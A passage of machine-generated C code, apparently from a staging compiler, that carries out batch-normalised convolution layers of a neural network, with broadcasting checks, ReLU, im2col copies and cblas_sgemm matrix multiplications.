x15026 * x15034;\nint32_t x15036 = 64 * x15035;\nfloat* x15037 = (float*)myMalloc(x15036 * sizeof(float));;\nint32_t x15038;\nif (x15009) {\nx15038 = 0;\n} else {\nx15038 = x14931;\n}\nint32_t x15041;\nif (x15010) {\nx15041 = 0;\n} else {\nx15041 = 1;\n}\nfor(int x15042=0; x15042 < 64; x15042++) {\nint32_t x15054 = x14932 * x15042;\nint32_t x15048 = x15035 * x15042;\nfor(int x15044=0; x15044 < x15026; x15044++) {\nint32_t x15055 = x15038 * x15044;\nint32_t x15056 = x15054 + x15055;\nint32_t x15061 = x15041 * x15044;\nint32_t x15050 = x15034 * x15044;\nfor(int x15046=0; x15046 < x15028; x15046++) {\nint32_t x15057 = x15039 * x15046;\nint32_t x15058 = x15056 + x15057;\nint32_t x15052 = x15028 * x15046;\nfor(int x15047=0; x15047 < x15028; x15047++) {\nint32_t x15059 = x15040 * x15047;\nint32_t x15060 = x15058 + x15059;\nfloat x15062 = x14934[x15060];\nfloat x15063 = x14977[x15061];\nint32_t x15049 = x15047 + x15048;\nint32_t x15051 = x15049 + x15050;\nint32_t x15053 = x15051 + x15052;\nfloat x15064 = x15062 / x15063;\nx15037[x15053] = x15064;\n\n}\n\n}\n\n}\n\n}\nint32_t x15074 = 0;\nint32_t x15075 = 1;\nx15075 *= 1;\nx15074 += 1;\nx15075 *= 1;\nx15075 *= 1;\nint32_t x15080 = x15074;\nbool x15081 = x15080 >= 2;\nif (x15081) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15086 = x15080 == 0;\nif (x15086) {\nint32_t x15087 = x15075;\nbool x15088 = x15087 == 256;\nif (x15088) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15095 = x15075;\nbool x15097 = x15026 == 1;\nint32_t x15096 = 256 / x15095;\nbool x15098 = x15096 == 1;\nbool x15102;\nif (x454) {\nbool x15099 = x15097 || x15098;\nbool x15100 = x15026 == x15096;\nbool x15101 = x15099 || x15100;\nx15102 = x15101;\n} else {\nx15102 = false;\n}\nbool x15106;\nif (x15102) {\nx15106 = x15105;\n} else {\nx15106 = false;\n}\nbool x15107;\nif (x15106) {\nx15107 = x15105;\n} else {\nx15107 = false;\n}\nif (x15107) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15026,x15028,x15028,1,x15096,1,1);\nassert(false && \"\");\n}\nbool x15113 = x15026 <= x15096;\nint32_t x15114;\nif (x15113) {\nx15114 = x15096;\n} else {\nx15114 = x15026;\n}\nint32_t x15123 = x15114 * x15122;\nint32_t x15124 = 64 * x15123;\nfloat* x15125 = (float*)myMalloc(x15124 * sizeof(float));;\nint32_t x15126;\nif (x15097) {\nx15126 = 0;\n} else {\nx15126 = x15034;\n}\nint32_t x15129;\nif (x15098) {\nx15129 = 0;\n} else {\nx15129 = 1;\n}\nfor(int x15130=0; x15130 < 64; x15130++) {\nint32_t x15142 = x15035 * x15130;\nint32_t x15136 = x15123 * x15130;\nfor(int x15132=0; x15132 < x15114; x15132++) {\nint32_t x15143 = x15126 * x15132;\nint32_t x15144 = x15142 + x15143;\nint32_t x15149 = x15129 * x15132;\nint32_t x15138 = x15122 * x15132;\nfor(int x15134=0; x15134 < x15116; x15134++) {\nint32_t x15145 = x15127 * x15134;\nint32_t x15146 = x15144 + x15145;\nint32_t x15140 = x15116 * x15134;\nfor(int x15135=0; x15135 < x15116; x15135++) {\nint32_t x15147 = x15128 * x15135;\nint32_t x15148 = x15146 + x15147;\nfloat x15150 = x15037[x15148];\nfloat x15151 = x129[x15149];\nint32_t x15137 = x15135 + x15136;\nint32_t x15139 = x15137 + x15138;\nint32_t x15141 = x15139 + x15140;\nfloat x15152 = x15150 * x15151;\nx15125[x15141] = x15152;\n\n}\n\n}\n\n}\n\n}\nint32_t x15162 = 0;\nint32_t x15163 = 1;\nx15163 *= 1;\nx15162 += 1;\nx15163 *= 1;\nx15163 *= 1;\nint32_t x15168 = x15162;\nbool x15169 = x15168 >= 2;\nif (x15169) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15174 = x15168 == 0;\nif (x15174) {\nint32_t x15175 = x15163;\nbool x15176 = x15175 == 256;\nif (x15176) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15183 = x15163;\nbool x15185 = x15114 == 1;\nint32_t x15184 = 256 / x15183;\nbool x15186 = x15184 == 1;\nbool x15190;\nif (x454) {\nbool x15187 = x15185 || x15186;\nbool x15188 = x15114 == x15184;\nbool x15189 = x15187 || x15188;\nx15190 = x15189;\n} else {\nx15190 = false;\n}\nbool x15194;\nif (x15190) {\nx15194 = x15193;\n} else {\nx15194 = false;\n}\nbool x15195;\nif (x15194) {\nx15195 = x15193;\n} else {\nx15195 = false;\n}\nif (x15195) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15114,x15116,x15116,1,x15184,1,1);\nassert(false && \"\");\n}\nbool x15201 = x15114 <= x15184;\nint32_t x15202;\nif (x15201) {\nx15202 = x15184;\n} else {\nx15202 = x15114;\n}\nint32_t x15211 = x15202 * x15210;\nint32_t x15212 = 64 * x15211;\nfloat* x15213 = (float*)myMalloc(x15212 * sizeof(float));;\nint32_t x15214;\nif (x15185) {\nx15214 = 0;\n} else {\nx15214 = x15122;\n}\nint32_t x15217;\nif (x15186) {\nx15217 = 0;\n} else {\nx15217 = 1;\n}\nfor(int x15218=0; x15218 < 64; x15218++) {\nint32_t x15230 = x15123 * x15218;\nint32_t x15224 = x15211 * x15218;\nfor(int x15220=0; x15220 < x15202; x15220++) {\nint32_t x15231 = x15214 * x15220;\nint32_t x15232 = x15230 + x15231;\nint32_t x15237 = x15217 * x15220;\nint32_t x15226 = x15210 * x15220;\nfor(int x15222=0; x15222 < x15204; x15222++) {\nint32_t x15233 = x15215 * x15222;\nint32_t x15234 = x15232 + x15233;\nint32_t x15228 = x15204 * x15222;\nfor(int x15223=0; x15223 < x15204; x15223++) {\nint32_t x15235 = x15216 * x15223;\nint32_t x15236 = x15234 + x15235;\nfloat x15238 = x15125[x15236];\nfloat x15239 = x197[x15237];\nint32_t x15225 = x15223 + x15224;\nint32_t x15227 = x15225 + x15226;\nint32_t x15229 = x15227 + x15228;\nfloat x15240 = x15238 + x15239;\nx15213[x15229] = x15240;\n\n}\n\n}\n\n}\n\n}\nfloat* x15250 = (float*)myMalloc(x15212 * sizeof(float));;\nfor(int x15252=0; x15252 < x15212; x15252++) {\nfloat x15253 = x15213[x15252];\nbool x15254 = x15253 < 0.0f;\nif (x15254) {\nx15250[x15252] = 0.0f;\n} else {\nfloat x15257 = x15213[x15252];\nx15250[x15252] = x15257;\n}\n\n}\nfloat* x15272 = (float*)myMalloc(x15271 * sizeof(float));;\nint32_t x15273 = 9 * x15202;\nint32_t x15276 = 64 * x15273;\nint32_t x15277 = x15276 * x15267;\nfloat* x15278 = (float*)myMalloc(x15277 * sizeof(float));;\nint32_t x15274 = x15273 * x15267;\nint32_t x15286 = x15202 * 3;\nint32_t x15287 = x15286 * 3;\nfor(int x15279=0; x15279 < 64; x15279++) {\nint32_t x15280 = x15279 * x15211;\nfloat* x15281 = x15250+x15280;\nint32_t x15282 = x15279 * x15268;\nfloat* x15283 = x15272+x15282;\nint32_t x15284 = x15279 * x15274;\nfloat* x15285 = x15278+x15284;\nfor(int x15289=0; x15289 < x15287; x15289++) {\nint32_t x15290 = x15289 / 9;\nint32_t x15294 = x15290 * 3;\nint32_t x15295 = x15294 * 3;\nint32_t x15296 = x15295 * x15266;\nint32_t x15297 = x15296 * x15266;\nint32_t x15291 = x15289 % 9;\nint32_t x15292 = x15291 / 3;\nint32_t x15298 = x15292 * 3;\nint32_t x15299 = x15298 * x15266;\nint32_t x15300 = x15299 * x15266;\nint32_t x15301 = x15297 + x15300;\nint32_t x15293 = x15291 % 3;\nint32_t x15302 = x15293 * x15266;\nint32_t x15303 = x15302 * x15266;\nint32_t x15304 = x15301 + x15303;\nfloat* x15305 = x15285+x15304;\nint32_t x15306 = x15290 * x15204;\nint32_t x15307 = x15306 * x15204;\nfloat* x15308 = x15281+x15307;\nint32_t x15321 = 1 - x15293;\nbool x15322 = x15321 > 0;\nint32_t x15323;\nif (x15322) {\nx15323 = x15321;\n} else {\nx15323 = 0;\n}\nint32_t x15324 = 3 - x15293;\nint32_t x15325 = x15324 - 1;\nint32_t x15326 = 1 - x15325;\nbool x15327 = x15326 > 0;\nint32_t x15328;\nif (x15327) {\nx15328 = x15326;\n} else {\nx15328 = 0;\n}\nint32_t x15329 = x15266 - x15328;\nint32_t x15330 = x15329 - x15323;\nbool x15331 = x15330 <= 0;\nbool x15335 = x15323 > 0;\nint32_t x15320 = -1 + x15293;\nbool x15348 = x15328 > 0;\nfor(int x15310=0; x15310 < x15266; x15310++) {\nint32_t x15311 = x15310 - 1;\nint32_t x15312 = x15311 + x15292;\nbool x15313 = x15312 < 0;\nbool x15314 = x15312 >= x15204;\nbool x15315 = x15313 || x15314;\nif (x15315) {\nint32_t x15316 = x15310 * x15266;\nfloat* x15317 = x15305+x15316;\nmemset(x15317, 0, 4 * x15266);;\n} else {\nif (x15331) {\nint32_t x15316 = x15310 * x15266;\nfloat* x15332 = x15305+x15316;\nmemset(x15332, 0, 4 * x15266);;\n} else {\nint32_t x15316 = x15310 * x15266;\nif (x15335) {\nfloat* x15336 = x15305+x15316;\nmemset(x15336, 0, 4 * x15323);;\n} else {\n}\n// may have segfault here\nint32_t x15341 = x15316 + x15323;\nfloat* x15342 = x15305+x15341;\nint32_t x15343 = x15312 * x15204;\nint32_t x15344 = x15343 + x15320;\nint32_t x15345 = x15344 + x15323;\nfloat* x15346 = x15308+x15345;\nmemcpy(x15342, x15346, 4 * x15330);;\nif (x15348) {\nint32_t x15349 = x15316 + x15266;\nint32_t x15350 = x15349 - x15328;\nfloat* x15351 = x15305+x15350;\nmemset(x15351, 0, 4 * x15328);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x15267,x15273,1,x14,x15273,x15285,x15267,1,x15283,x15267);\n\n}\nint32_t x15366 = 0;\nint32_t x15367 = 1;\nx15367 *= 1;\nx15366 += 1;\nx15367 *= 1;\nx15367 *= 1;\nint32_t x15372 = x15366;\nbool x15373 = x15372 >= 2;\nif (x15373) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15378 = x15372 == 0;\nif (x15378) {\nint32_t x15379 = x15367;\nbool x15380 = x15379 == 256;\nif (x15380) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15387 = x15367;\nint32_t x15388 = 256 / x15387;\nbool x15389 = x15388 == 1;\nbool x15392;\nif (x454) {\nbool x15390 = 256 == x15388;\nbool x15391 = x15389 || x15390;\nx15392 = x15391;\n} else {\nx15392 = false;\n}\nbool x15396;\nif (x15392) {\nx15396 = x15395;\n} else {\nx15396 = false;\n}\nbool x15397;\nif (x15396) {\nx15397 = x15395;\n} else {\nx15397 = false;\n}\nif (x15397) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x15266,x15266,1,x15388,1,1);\nassert(false && \"\");\n}\nbool x15403 = 256 <= x15388;\nint32_t x15404;\nif (x15403) {\nx15404 = x15388;\n} else {\nx15404 = 256;\n}\nint32_t x15413 = x15404 * x15412;\nint32_t x15414 = 64 * x15413;\nfloat* x15415 = (float*)myMalloc(x15414 * sizeof(float));;\nint32_t x15418;\nif (x15389) {\nx15418 = 0;\n} else {\nx15418 = 1;\n}\nfor(int x15419=0; x15419 < 64; x15419++) {\nint32_t x15431 = x15268 * x15419;\nint32_t x15425 = x15413 * x15419;\nfor(int x15421=0; x15421 < x15404; x15421++) {\nint32_t x15432 = x15267 * x15421;\nint32_t x15433 = x15431 + x15432;\nint32_t x15438 = x15418 * x15421;\nint32_t x15427 = x15412 * x15421;\nfor(int x15423=0; x15423 < x15406; x15423++) {\nint32_t x15434 = x15416 * x15423;\nint32_t x15435 = x15433 + x15434;\nint32_t x15429 = x15406 * x15423;\nfor(int x15424=0; x15424 < x15406; x15424++) {\nint32_t x15436 = x15417 * x15424;\nint32_t x15437 = x15435 + x15436;\nfloat x15439 = x15272[x15437];\nfloat x15440 = x124[x15438];\nint32_t x15426 = x15424 + x15425;\nint32_t x15428 = x15426 + x15427;\nint32_t x15430 = x15428 + x15429;\nfloat x15441 = x15439 - x15440;\nx15415[x15430] = x15441;\n\n}\n\n}\n\n}\n\n}\nfloat* x15451 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x15452=0; x15452 < 256; x15452++) {\nfloat x15453 = x63[x15452];\nfloat x15454 = x15453 + 1.0E-5f;\nx15451[x15452] = x15454;\n\n}\nfloat* x15458 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x15459=0; x15459 < 256; x15459++) {\nfloat x15460 = x15451[x15459];\ndouble x15461 = (double)x15460;\ndouble x15462 = sqrt(x15461);\nfloat x15463 = (float)x15462;\nx15458[x15459] = x15463;\n\n}\nint32_t x15467 = 0;\nint32_t x15468 = 1;\nx15468 *= 1;\nx15467 += 1;\nx15468 *= 1;\nx15468 *= 1;\nint32_t x15473 = x15467;\nbool x15474 = x15473 >= 2;\nif (x15474) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15479 = x15473 == 0;\nif (x15479) {\nint32_t x15480 = x15468;\nbool x15481 = x15480 == 256;\nif (x15481) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15488 = x15468;\nbool x15490 = x15404 == 1;\nint32_t x15489 = 256 / x15488;\nbool x15491 = x15489 == 1;\nbool x15495;\nif (x454) {\nbool x15492 = x15490 || x15491;\nbool x15493 = x15404 == x15489;\nbool x15494 = x15492 || x15493;\nx15495 = x15494;\n} else {\nx15495 = false;\n}\nbool x15499;\nif (x15495) {\nx15499 = x15498;\n} else {\nx15499 = false;\n}\nbool x15500;\nif (x15499) {\nx15500 = x15498;\n} else {\nx15500 = false;\n}\nif (x15500) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15404,x15406,x15406,1,x15489,1,1);\nassert(false && \"\");\n}\nbool x15506 = x15404 <= x15489;\nint32_t x15507;\nif (x15506) {\nx15507 = x15489;\n} else {\nx15507 = x15404;\n}\nint32_t x15516 = x15507 * x15515;\nint32_t x15517 = 64 * x15516;\nfloat* x15518 = (float*)myMalloc(x15517 * sizeof(float));;\nint32_t x15519;\nif (x15490) {\nx15519 = 0;\n} else {\nx15519 = x15412;\n}\nint32_t x15522;\nif (x15491) {\nx15522 = 0;\n} else {\nx15522 = 1;\n}\nfor(int x15523=0; x15523 < 64; x15523++) {\nint32_t x15535 = x15413 * x15523;\nint32_t x15529 = x15516 * x15523;\nfor(int x15525=0; x15525 < x15507; x15525++) {\nint32_t x15536 = x15519 * x15525;\nint32_t x15537 = x15535 + x15536;\nint32_t x15542 = x15522 * x15525;\nint32_t x15531 = x15515 * x15525;\nfor(int x15527=0; x15527 < x15509; x15527++) {\nint32_t x15538 = x15520 * x15527;\nint32_t x15539 = x15537 + x15538;\nint32_t x15533 = x15509 * x15527;\nfor(int x15528=0; x15528 < x15509; x15528++) {\nint32_t x15540 = x15521 * x15528;\nint32_t x15541 = x15539 + x15540;\nfloat x15543 = x15415[x15541];\nfloat x15544 = x15458[x15542];\nint32_t x15530 = x15528 + x15529;\nint32_t x15532 = x15530 + x15531;\nint32_t x15534 = x15532 + x15533;\nfloat x15545 = x15543 / x15544;\nx15518[x15534] = x15545;\n\n}\n\n}\n\n}\n\n}\nint32_t x15555 = 0;\nint32_t x15556 = 1;\nx15556 *= 1;\nx15555 += 1;\nx15556 *= 1;\nx15556 *= 1;\nint32_t x15561 = x15555;\nbool x15562 = x15561 >= 2;\nif (x15562) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15567 = x15561 == 0;\nif (x15567) {\nint32_t x15568 = x15556;\nbool x15569 = x15568 == 256;\nif (x15569) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15576 = x15556;\nbool x15578 = x15507 == 1;\nint32_t x15577 = 256 / x15576;\nbool x15579 = x15577 == 1;\nbool x15583;\nif (x454) {\nbool x15580 = x15578 || x15579;\nbool x15581 = x15507 == x15577;\nbool x15582 = x15580 || x15581;\nx15583 = x15582;\n} else {\nx15583 = false;\n}\nbool x15587;\nif (x15583) {\nx15587 = x15586;\n} else {\nx15587 = false;\n}\nbool x15588;\nif (x15587) {\nx15588 = x15586;\n} else {\nx15588 = false;\n}\nif (x15588) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15507,x15509,x15509,1,x15577,1,1);\nassert(false && \"\");\n}\nbool x15594 = x15507 <= x15577;\nint32_t x15595;\nif (x15594) {\nx15595 = x15577;\n} else {\nx15595 = x15507;\n}\nint32_t x15604 = x15595 * x15603;\nint32_t x15605 = 64 * x15604;\nfloat* x15606 = (float*)myMalloc(x15605 * sizeof(float));;\nint32_t x15607;\nif (x15578) {\nx15607 = 0;\n} else {\nx15607 = x15515;\n}\nint32_t x15610;\nif (x15579) {\nx15610 = 0;\n} else {\nx15610 = 1;\n}\nfor(int x15611=0; x15611 < 64; x15611++) {\nint32_t x15623 = x15516 * x15611;\nint32_t x15617 = x15604 * x15611;\nfor(int x15613=0; x15613 < x15595; x15613++) {\nint32_t x15624 = x15607 * x15613;\nint32_t x15625 = x15623 + x15624;\nint32_t x15630 = x15610 * x15613;\nint32_t x15619 = x15603 * x15613;\nfor(int x15615=0; x15615 < x15597; x15615++) {\nint32_t x15626 = x15608 * x15615;\nint32_t x15627 = x15625 + x15626;\nint32_t x15621 = x15597 * x15615;\nfor(int x15616=0; x15616 < x15597; x15616++) {\nint32_t x15628 = x15609 * x15616;\nint32_t x15629 = x15627 + x15628;\nfloat x15631 = x15518[x15629];\nfloat x15632 = x228[x15630];\nint32_t x15618 = x15616 + x15617;\nint32_t x15620 = x15618 + x15619;\nint32_t x15622 = x15620 + x15621;\nfloat x15633 = x15631 * x15632;\nx15606[x15622] = x15633;\n\n}\n\n}\n\n}\n\n}\nint32_t x15643 = 0;\nint32_t x15644 = 1;\nx15644 *= 1;\nx15643 += 1;\nx15644 *= 1;\nx15644 *= 1;\nint32_t x15649 = x15643;\nbool x15650 = x15649 >= 2;\nif (x15650) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15655 = x15649 == 0;\nif (x15655) {\nint32_t x15656 = x15644;\nbool x15657 = x15656 == 256;\nif (x15657) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15664 = x15644;\nbool x15666 = x15595 == 1;\nint32_t x15665 = 256 / x15664;\nbool x15667 = x15665 == 1;\nbool x15671;\nif (x454) {\nbool x15668 = x15666 || x15667;\nbool x15669 = x15595 == x15665;\nbool x15670 = x15668 || x15669;\nx15671 = x15670;\n} else {\nx15671 = false;\n}\nbool x15675;\nif (x15671) {\nx15675 = x15674;\n} else {\nx15675 = false;\n}\nbool x15676;\nif (x15675) {\nx15676 = x15674;\n} else {\nx15676 = false;\n}\nif (x15676) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15595,x15597,x15597,1,x15665,1,1);\nassert(false && \"\");\n}\nbool x15682 = x15595 <= x15665;\nint32_t x15683;\nif (x15682) {\nx15683 = x15665;\n} else {\nx15683 = x15595;\n}\nint32_t x15692 = x15683 * x15691;\nint32_t x15693 = 64 * x15692;\nfloat* x15694 = (float*)myMalloc(x15693 * sizeof(float));;\nint32_t x15695;\nif (x15666) {\nx15695 = 0;\n} else {\nx15695 = x15603;\n}\nint32_t x15698;\nif (x15667) {\nx15698 = 0;\n} else {\nx15698 = 1;\n}\nfor(int x15699=0; x15699 < 64; x15699++) {\nint32_t x15711 = x15604 * x15699;\nint32_t x15705 = x15692 * x15699;\nfor(int x15701=0; x15701 < x15683; x15701++) {\nint32_t x15712 = x15695 * x15701;\nint32_t x15713 = x15711 + x15712;\nint32_t x15718 = x15698 * x15701;\nint32_t x15707 = x15691 * x15701;\nfor(int x15703=0; x15703 < x15685; x15703++) {\nint32_t x15714 = x15696 * x15703;\nint32_t x15715 = x15713 + x15714;\nint32_t x15709 = x15685 * x15703;\nfor(int x15704=0; x15704 < x15685; x15704++) {\nint32_t x15716 = x15697 * x15704;\nint32_t x15717 = x15715 + x15716;\nfloat x15719 = x15606[x15717];\nfloat x15720 = x192[x15718];\nint32_t x15706 = x15704 + x15705;\nint32_t x15708 = x15706 + x15707;\nint32_t x15710 = x15708 + x15709;\nfloat x15721 = x15719 + x15720;\nx15694[x15710] = x15721;\n\n}\n\n}\n\n}\n\n}\nfloat* x15731 = (float*)myMalloc(x15693 * sizeof(float));;\nfor(int x15733=0; x15733 < x15693; x15733++) {\nfloat x15734 = x15694[x15733];\nbool x15735 = x15734 < 0.0f;\nif (x15735) {\nx15731[x15733] = 0.0f;\n} else {\nfloat x15738 = x15694[x15733];\nx15731[x15733] = x15738;\n}\n\n}\nfloat* x15752 = (float*)myMalloc(x15751 * sizeof(float));;\nint32_t x15755 = 64 * x15683;\nint32_t x15756 = x15755 * x15747;\nfloat* x15757 = (float*)myMalloc(x15756 * sizeof(float));;\nint32_t x15753 = x15683 * x15747;\nfor(int x15758=0; x15758 < 64; x15758++) {\nint32_t x15759 = x15758 * x15692;\nfloat* x15760 = x15731+x15759;\nint32_t x15761 = x15758 * x15748;\nfloat* x15762 = x15752+x15761;\nint32_t x15763 = x15758 * x15753;\nfloat* x15764 = x15757+x15763;\nfor(int x15765=0; x15765 < x15683; x15765++) {\nint32_t x15766 = x15765 / 1;\nint32_t x15770 = x15766 * x15746;\nint32_t x15771 = x15770 * x15746;\nint32_t x15767 = x15765 % 1;\nint32_t x15768 = x15767 / 1;\nint32_t x15772 = x15768 * x15746;\nint32_t x15773 = x15772 * x15746;\nint32_t x15774 = x15771 + x15773;\nint32_t x15769 = x15767 % 1;\nint32_t x15775 = x15769 * x15746;\nint32_t x15776 = x15775 * x15746;\nint32_t x15777 = x15774 + x15776;\nfloat* x15778 = x15764+x15777;\nint32_t x15779 = x15766 * x15685;\nint32_t x15780 = x15779 * x15685;\nfloat* x15781 = x15760+x15780;\nfor(int x15783=0; x15783 < x15746; x15783++) {\nint32_t x15785 = x15783 * x15746;\nfloat* x15786 = x15778+x15785;\nint32_t x15784 = x15783 + x15768;\nint32_t x15787 = x15784 * x15685;\nint32_t x15788 = x15787 + x15769;\nfloat* x15789 = x15781+x15788;\nmemcpy(x15786, x15789, 4 * x15746);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x15747,x15683,1,x116,x15683,x15764,x15747,1,x15762,x15747);\n\n}\nint32_t x15798 = 0;\nint32_t x15799 = 1;\nx15799 *= 1;\nx15798 += 1;\nx15799 *= 1;\nx15799 *= 1;\nint32_t x15804 = x15798;\nbool x15805 = x15804 >= 2;\nif (x15805) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15810 = x15804 == 0;\nif (x15810) {\nint32_t x15811 = x15799;\nbool x15812 = x15811 == 1024;\nif (x15812) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15819 = x15799;\nint32_t x15820 = 1024 / x15819;\nbool x15821 = x15820 == 1;\nbool x15824;\nif (x454) {\nbool x15822 = 1024 == x15820;\nbool x15823 = x15821 || x15822;\nx15824 = x15823;\n} else {\nx15824 = false;\n}\nbool x15828;\nif (x15824) {\nx15828 = x15827;\n} else {\nx15828 = false;\n}\nbool x15829;\nif (x15828) {\nx15829 = x15827;\n} else {\nx15829 = false;\n}\nif (x15829) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x15746,x15746,1,x15820,1,1);\nassert(false && \"\");\n}\nbool x15835 = 1024 <= x15820;\nint32_t x15836;\nif (x15835) {\nx15836 = x15820;\n} else {\nx15836 = 1024;\n}\nint32_t x15845 = x15836 * x15844;\nint32_t x15846 = 64 * x15845;\nfloat* x15847 = (float*)myMalloc(x15846 * sizeof(float));;\nint32_t x15850;\nif (x15821) {\nx15850 = 0;\n} else {\nx15850 = 1;\n}\nfor(int x15851=0; x15851 < 64; x15851++) {\nint32_t x15863 = x15748 * x15851;\nint32_t x15857 = x15845 * x15851;\nfor(int x15853=0; x15853 < x15836; x15853++) {\nint32_t x15864 = x15747 * x15853;\nint32_t x15865 = x15863 + x15864;\nint32_t x15870 = x15850 * x15853;\nint32_t x15859 = x15844 * x15853;\nfor(int x15855=0; x15855 < x15838; x15855++) {\nint32_t x15866 = x15848 * x15855;\nint32_t x15867 = x15865 + x15866;\nint32_t x15861 = x15838 * x15855;\nfor(int x15856=0; x15856 < x15838; x15856++) {\nint32_t x15868 = x15849 * x15856;\nint32_t x15869 = x15867 + x15868;\nfloat x15871 = x15752[x15869];\nfloat x15872 = x140[x15870];\nint32_t x15858 = x15856 + x15857;\nint32_t x15860 = x15858 + x15859;\nint32_t x15862 = x15860 + x15861;\nfloat x15873 = x15871 - x15872;\nx15847[x15862] = x15873;\n\n}\n\n}\n\n}\n\n}\nfloat* x15883 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x15884=0; x15884 < 1024; x15884++) {\nfloat x15885 = x188[x15884];\nfloat x15886 = x15885 + 1.0E-5f;\nx15883[x15884] = x15886;\n\n}\nfloat* x15890 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x15891=0; x15891 < 1024; x15891++) {\nfloat x15892 = x15883[x15891];\ndouble x15893 = (double)x15892;\ndouble x15894 = sqrt(x15893);\nfloat x15895 = (float)x15894;\nx15890[x15891] = x15895;\n\n}\nint32_t x15899 = 0;\nint32_t x15900 = 1;\nx15900 *= 1;\nx15899 += 1;\nx15900 *= 1;\nx15900 *= 1;\nint32_t x15905 = x15899;\nbool x15906 = x15905 >= 2;\nif (x15906) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15911 = x15905 == 0;\nif (x15911) {\nint32_t x15912 = x15900;\nbool x15913 = x15912 == 1024;\nif (x15913) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15920 = x15900;\nbool x15922 = x15836 == 1;\nint32_t x15921 = 1024 / x15920;\nbool x15923 = x15921 == 1;\nbool x15927;\nif (x454) {\nbool x15924 = x15922 || x15923;\nbool x15925 = x15836 == x15921;\nbool x15926 = x15924 || x15925;\nx15927 = x15926;\n} else {\nx15927 = false;\n}\nbool x15931;\nif (x15927) {\nx15931 = x15930;\n} else {\nx15931 = false;\n}\nbool x15932;\nif (x15931) {\nx15932 = x15930;\n} else {\nx15932 = false;\n}\nif (x15932) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15836,x15838,x15838,1,x15921,1,1);\nassert(false && \"\");\n}\nbool x15938 = x15836 <= x15921;\nint32_t x15939;\nif (x15938) {\nx15939 = x15921;\n} else {\nx15939 = x15836;\n}\nint32_t x15948 = x15939 * x15947;\nint32_t x15949 = 64 * x15948;\nfloat* x15950 = (float*)myMalloc(x15949 * sizeof(float));;\nint32_t x15951;\nif (x15922) {\nx15951 = 0;\n} else {\nx15951 = x15844;\n}\nint32_t x15954;\nif (x15923) {\nx15954 = 0;\n} else {\nx15954 = 1;\n}\nfor(int x15955=0; x15955 < 64; x15955++) {\nint32_t x15967 = x15845 * x15955;\nint32_t x15961 = x15948 * x15955;\nfor(int x15957=0; x15957 < x15939; x15957++) {\nint32_t x15968 = x15951 * x15957;\nint32_t x15969 = x15967 + x15968;\nint32_t x15974 = x15954 * x15957;\nint32_t x15963 = x15947 * x15957;\nfor(int x15959=0; x15959 < x15941; x15959++) {\nint32_t x15970 = x15952 * x15959;\nint32_t x15971 = x15969 + x15970;\nint32_t x15965 = x15941 * x15959;\nfor(int x15960=0; x15960 < x15941; x15960++) {\nint32_t x15972 = x15953 * x15960;\nint32_t x15973 = x15971 + x15972;\nfloat x15975 = x15847[x15973];\nfloat x15976 = x15890[x15974];\nint32_t x15962 = x15960 + x15961;\nint32_t x15964 = x15962 + x15963;\nint32_t x15966 = x15964 + x15965;\nfloat x15977 = x15975 / x15976;\nx15950[x15966] = x15977;\n\n}\n\n}\n\n}\n\n}\nint32_t x15987 = 0;\nint32_t x15988 = 1;\nx15988 *= 1;\nx15987 += 1;\nx15988 *= 1;\nx15988 *= 1;\nint32_t x15993 = x15987;\nbool x15994 = x15993 >= 2;\nif (x15994) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x15999 = x15993 == 0;\nif (x15999) {\nint32_t x16000 = x15988;\nbool x16001 = x16000 == 1024;\nif (x16001) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16008 = x15988;\nbool x16010 = x15939 == 1;\nint32_t x16009 = 1024 / x16008;\nbool x16011 = x16009 == 1;\nbool x16015;\nif (x454) {\nbool x16012 = x16010 || x16011;\nbool x16013 = 